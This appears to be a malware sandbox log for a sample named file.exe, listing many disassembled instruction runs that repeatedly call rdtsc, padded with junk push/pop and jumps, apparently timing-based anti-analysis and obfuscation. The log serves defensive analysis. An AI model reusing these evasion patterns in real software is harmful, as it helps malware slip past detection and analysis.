Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2DB15 second address: A2DB34 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9598E72AD9h 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2DB34 second address: A2DB38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2E300 second address: A2E318 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9598E72AD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2E318 second address: A2E322 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2E322 second address: A2E327 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2E327 second address: A2E32D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2E32D second address: A2E333 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3119C second address: A311B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F95994487B0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A311B0 second address: A311B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A311B4 second address: A311BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A35ABA second address: A35ADB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 pop ecx 0x00000009 jmp 00007F9598E72ACDh 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 je 00007F9598E72ACEh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A35ADB second address: A35AF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007F95994487B1h 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A35AF4 second address: A35B04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jno 00007F9598E72AC6h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A406DE second address: A406E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A406E2 second address: A406EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A43EA6 second address: A43EAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A43854 second address: A4386A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F9598E72AD0h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A43A02 second address: A43A08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A43A08 second address: A43A0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4957E second address: A49594 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95994487B2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A559FB second address: A55A00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A591AE second address: A591B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5FC5F second address: A5FC65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5FC65 second address: A5FC6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5FC6B second address: A5FC70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5FC70 second address: A5FC76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5FE09 second address: A5FE1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9598E72ACCh 0x00000009 popad 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5FE1D second address: A5FE24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5FF7A second address: A5FF80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5FF80 second address: A5FF86 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6027B second address: A602B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9598E72AD5h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F9598E72AD6h 0x0000000e jmp 00007F9598E72ACBh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A60C95 second address: A60C9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A60C9B second address: A60CD3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9598E72AD6h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F9598E72AD7h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A60CD3 second address: A60CD9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A60CD9 second address: A60CDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A63F34 second address: A63F4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F95994487ABh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A63F4A second address: A63F4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A65E0B second address: A65E11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A65E11 second address: A65E15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A65E15 second address: A65E19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A65E19 second address: A65E4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jnc 00007F9598E72AC6h 0x0000000f pop ebx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push edx 0x00000016 pop edx 0x00000017 jmp 00007F9598E72ACDh 0x0000001c ja 00007F9598E72AC6h 0x00000022 popad 0x00000023 pushad 0x00000024 pushad 0x00000025 popad 0x00000026 push eax 0x00000027 pop eax 0x00000028 pushad 0x00000029 popad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7A9B4 second address: A7A9B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7A9B8 second address: A7A9C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F9598E72AC6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7A9C4 second address: A7A9CE instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F95994487ACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7A9CE second address: A7A9DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 je 00007F9598E72AC6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9D437 second address: A9D43B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9D43B second address: A9D44D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jl 00007F9598E72ACEh 0x0000000e push edx 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9D44D second address: A9D454 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9D454 second address: A9D45A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9D58A second address: A9D5A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jns 00007F95994487A6h 0x0000000c jnl 00007F95994487A6h 0x00000012 jc 00007F95994487A6h 0x00000018 push eax 0x00000019 pop eax 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d push ebx 0x0000001e pop ebx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9D5A9 second address: A9D5AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9D6E6 second address: A9D6EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9D6EA second address: A9D6EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9D6EE second address: A9D6FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9D6FA second address: A9D6FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9D6FE second address: A9D710 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 pushad 0x0000000a popad 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9DC8F second address: A9DCBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jns 00007F9598E72ADDh 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jnl 00007F9598E72AC6h 0x00000016 push eax 0x00000017 pop eax 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9DCBE second address: A9DCC4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9DCC4 second address: A9DCCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9DCCA second address: A9DCD8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 je 00007F95994487A6h 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9DCD8 second address: A9DCDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9DF7C second address: A9DFAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F95994487A6h 0x0000000a popad 0x0000000b jp 00007F95994487C3h 0x00000011 push edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9E134 second address: A9E13A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA0C96 second address: AA0CA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 jg 00007F95994487B4h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA0EFE second address: AA0F1D instructions: 0x00000000 rdtsc 0x00000002 jp 00007F9598E72ACCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jne 00007F9598E72ACCh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA1025 second address: AA1058 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 jmp 00007F95994487B4h 0x0000000c push 00000004h 0x0000000e js 00007F95994487ACh 0x00000014 or dword ptr [ebp+122D2CA7h], ecx 0x0000001a push F0CA0583h 0x0000001f push ebx 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA1058 second address: AA105C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA12C6 second address: AA131A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ecx 0x0000000d call 00007F95994487A8h 0x00000012 pop ecx 0x00000013 mov dword ptr [esp+04h], ecx 0x00000017 add dword ptr [esp+04h], 0000001Ch 0x0000001f inc ecx 0x00000020 push ecx 0x00000021 ret 0x00000022 pop ecx 0x00000023 ret 0x00000024 mov edx, dword ptr [ebp+122D3455h] 0x0000002a xor edx, dword ptr [ebp+122D36F9h] 0x00000030 push dword ptr [ebp+122D2355h] 0x00000036 xor edx, 70B62D16h 0x0000003c push 89D6F592h 0x00000041 jp 00007F95994487AEh 0x00000047 push edi 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51102B7 second address: 51102BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51102BB second address: 51102C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51102C1 second address: 5110307 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b pushad 0x0000000c call 00007F9598E72AD4h 0x00000011 jmp 00007F9598E72AD2h 0x00000016 pop ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F9598E72AD1h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110307 second address: 5110315 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b movsx ebx, ax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110315 second address: 5110345 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F9598E72AD4h 0x00000008 add ax, 9098h 0x0000000d jmp 00007F9598E72ACBh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 mov ax, 32E5h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110345 second address: 511037A instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F95994487B2h 0x00000008 jmp 00007F95994487B5h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 xchg eax, ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511037A second address: 5110380 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110380 second address: 5110386 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110386 second address: 511038A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511038A second address: 511038E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BE8F8 second address: 9BE908 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 push esi 0x00000008 jg 00007F9598E72ACCh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51104E8 second address: 5110523 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F95994487AFh 0x00000008 mov bx, si 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebp 0x0000000f jmp 00007F95994487B2h 0x00000014 mov ebp, esp 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F95994487AAh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110523 second address: 5110529 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110595 second address: 511059B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511059B second address: 511059F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511059F second address: 51105C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 7BAB1C05h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F95994487B4h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51105C4 second address: 51105EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9598E72ACBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007F960AF164E5h 0x0000000e push 771B27D0h 0x00000013 push dword ptr fs:[00000000h] 0x0000001a mov eax, dword ptr [esp+10h] 0x0000001e mov dword ptr [esp+10h], ebp 0x00000022 lea ebp, dword ptr [esp+10h] 0x00000026 sub esp, eax 0x00000028 push ebx 0x00000029 push esi 0x0000002a push edi 0x0000002b mov eax, dword ptr [77240140h] 0x00000030 xor dword ptr [ebp-04h], eax 0x00000033 xor eax, ebp 0x00000035 push eax 0x00000036 mov dword ptr [ebp-18h], esp 0x00000039 push dword ptr [ebp-08h] 0x0000003c mov eax, dword ptr [ebp-04h] 0x0000003f mov dword ptr [ebp-04h], FFFFFFFEh 0x00000046 mov dword ptr [ebp-08h], eax 0x00000049 lea eax, dword ptr [ebp-10h] 0x0000004c mov dword ptr fs:[00000000h], eax 0x00000052 ret 0x00000053 push eax 0x00000054 push edx 0x00000055 push eax 0x00000056 push edx 0x00000057 jmp 00007F9598E72AD0h 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51105EC second address: 51105F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51105F0 second address: 51105F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51105F6 second address: 51105FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51105FB second address: 5110678 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and dword ptr [ebp-04h], 00000000h 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F9598E72ACBh 0x00000014 and si, AA1Eh 0x00000019 jmp 00007F9598E72AD9h 0x0000001e popfd 0x0000001f popad 0x00000020 mov edx, dword ptr [ebp+0Ch] 0x00000023 pushad 0x00000024 mov si, DB83h 0x00000028 jmp 00007F9598E72AD8h 0x0000002d popad 0x0000002e mov esi, edx 0x00000030 jmp 00007F9598E72AD0h 0x00000035 mov al, byte ptr [edx] 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007F9598E72ACAh 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110678 second address: 511067C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511067C second address: 5110682 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110682 second address: 5110688 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
